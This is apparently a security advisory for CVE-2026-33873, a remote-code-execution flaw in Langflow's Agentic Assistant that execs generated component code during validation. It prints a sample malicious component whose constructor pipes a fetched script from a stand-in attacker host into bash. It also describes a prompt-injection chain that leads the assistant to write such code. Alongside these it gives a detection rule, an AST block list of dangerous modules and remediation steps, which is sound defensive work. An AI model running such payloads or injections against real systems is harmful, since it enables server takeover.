CVE-2026-33873: Langflow Agentic Assistant Dynamic Execution Sink RCE
HERMES THREAT SCORE & AGENTIC RISK
Target:Langflow Agentic Assistant (Automated Component Validation Engine) While CVSS scores CVE-2026-33873 at 9.3 (Critical) considering authenticated access, the Hermes Threat Score rates it at 92 (CRITICAL). In modern multi-tenant AI platforms, low-privilege team accounts or compromised developer tokens frequently access flow building tools. Triggering dynamic class loading during automated assistant validation bridges developer collaboration directly into host takeover.
CVE-2026-33873: Langflow Agentic Assistant Dynamic Execution Sink RCEVULNERABILITY
Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.
🔍 Why is this related? (Evidence & Provenance)
“Affects Langflow Agentic Assistant execution engine in releases prior to 1.9.0.”
- [vendor_confirmation]Langflow 1.9.0 security advisory details remediation of the dynamic Python execution sink in Agentic Assistant. — Source: Langflow / Logspace: Langflow 1.9.0 Security Advisory: Agentic Assistant Code Validation RCE (CVE-2026-33873) (Reliability: VERY_HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Why is this related? (Evidence & Provenance)
“Abuses validation sink and dynamic class instantiation parameters to achieve server RCE.”
- [vendor_confirmation]Langflow 1.9.0 security advisory details remediation of the dynamic Python execution sink in Agentic Assistant. — Source: Langflow / Logspace: Langflow 1.9.0 Security Advisory: Agentic Assistant Code Validation RCE (CVE-2026-33873) (Reliability: VERY_HIGH)
Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Why is this related? (Evidence & Provenance)
“CVE-2026-33873 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.
🔍 Why is this related? (Evidence & Provenance)
“CVE-2026-33873 weaponizes the agentic attack pattern formalized under AAP-007.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
1. Architectural Context: The Agentic Assistant in Langflow
Section titled “1. Architectural Context: The Agentic Assistant in Langflow”The Langflow Agentic Assistant operates as an interactive AI agent embedded within the flow editor, helping users troubleshoot connection errors, assemble complex agent graphs, and generate custom Python components:
Authenticated User Request (Prompt to Agentic Assistant) │ ▼ Agentic Assistant Orchestrator Loop │ ▼ LLM Synthesizes Custom Component Python Code │ ▼ [VULNERABLE STEP] Component Validation Engine (Executes dynamic importlib / exec / class instantiation) │ ▼ Host Code Execution Triggered in Server Worker ThreadTo ensure that newly generated component classes conform to the Langflow Component contract (exposing required input/output schemas), the backend executes an automatic pre-flight verification pass. In affected versions, this verification pass instantiated the generated classes directly within the application runtime.
2. Root Cause Analysis: Unsandboxed In-Memory Instantiation
Section titled “2. Root Cause Analysis: Unsandboxed In-Memory Instantiation”The vulnerability centers on how the validation service handled user-influenced Python source strings. Rather than performing static analysis using the Python ast module or evaluating within an isolated ephemeral sandbox, the backend executed dynamic in-memory loading:
# Conceptual flaw in vulnerable validation pipeline (< 1.9.0)def validate_and_instantiate_component(code_str: str): # Compiles and executes code directly in local namespace compiled_code = compile(code_str, "<agentic_component>", "exec") local_ns = {} exec(compiled_code, local_ns)
# Finds the Component class and instantiates it for name, obj in local_ns.items(): if isinstance(obj, type) and issubclass(obj, Component): instance = obj() # <-- Triggers class __init__ execution return instance.validate_schema()An attacker manipulating the Agentic Assistant’s context could induce the generation of a Component subclass whose module body or __init__ constructor executed malicious payloads:
# Malicious Component synthesized via prompt injectionfrom langflow.custom import Componentimport os
class MaliciousAgentComponent(Component): display_name = "Telemetry Assistant"
def __init__(self): super().__init__() # Payload executes immediately upon instantiation during validation os.system("curl -s https://c2.attacker.internal/beacon | bash")3. Attack Execution Chain
Section titled “3. Attack Execution Chain”- Authenticated Session Ingress: The attacker authenticates to a self-hosted or managed Langflow instance using legitimate low-privilege credentials.
- Context Manipulation: The attacker engages the Agentic Assistant, requesting the generation of an automated data preprocessing component with custom logic.
- Payload Injection: Through prompt injection or parameter tampering, the attacker injects payload directives instructing the assistant to include system management calls inside the component constructor.
- Validation Trigger: The assistant initiates the pre-flight verification pass, calling the validation endpoint.
- Arbitrary Code Execution: The server compiles and instantiates the class, triggering payload execution with the privileges of the Langflow service process.
4. Detection Engineering
Section titled “4. Detection Engineering”title: Langflow Agentic Assistant Code Validation RCEid: a102b345-6234-4ef2-9122-33873fa00002status: experimentaldescription: Detects unexpected network connections and system command executions originating from the Langflow validation service.author: Hermes Codex Research Teamdate: 2026-09-08logsource: category: network_connection product: linuxdetection: selection: ProcessName|contains: "python" CommandLine|contains: "langflow" DestinationPort: - 4444 - 1337 - 8080 - 9001 condition: selectionfields: - CommandLine - DestinationIp - DestinationPort - Userlevel: criticaltags: - attack.execution - attack.t1059.006import ast
DISALLOWED_MODULES = {"os", "subprocess", "sys", "socket", "pty", "shutil"}
def audit_component_ast(code: str) -> bool: """ Statically analyzes component code before validation to ensure no forbidden modules or dynamic execution primitives are called. """ tree = ast.parse(code) for node in ast.walk(tree): if isinstance(node, ast.Import): for alias in node.names: if alias.name.split(".")[0] in DISALLOWED_MODULES: raise ValueError(f"Forbidden import: {alias.name}") elif isinstance(node, ast.ImportFrom): if node.module and node.module.split(".")[0] in DISALLOWED_MODULES: raise ValueError(f"Forbidden import from: {node.module}") elif isinstance(node, ast.Call): if isinstance(node.func, ast.Name) and node.func.id in {"eval", "exec", "__import__"}: raise ValueError(f"Forbidden builtin call: {node.func.id}") return True5. Remediation & Hardened Defenses
Section titled “5. Remediation & Hardened Defenses”- Update to Langflow 1.9.0+: Langflow 1.9.0 isolates component compilation into restricted subprocesses with strict AST allowlists and seccomp system-call filtering.
- Disable Dynamic Code Generation in Production: In multi-tenant environments, disable in-browser custom component compilation via environment variables (
LANGFLOW_DISABLE_CUSTOM_COMPONENTS=true). - Run Runtimes in Rootless Sandboxes: Ensure Langflow containers execute under non-root service accounts with read-only root filesystems.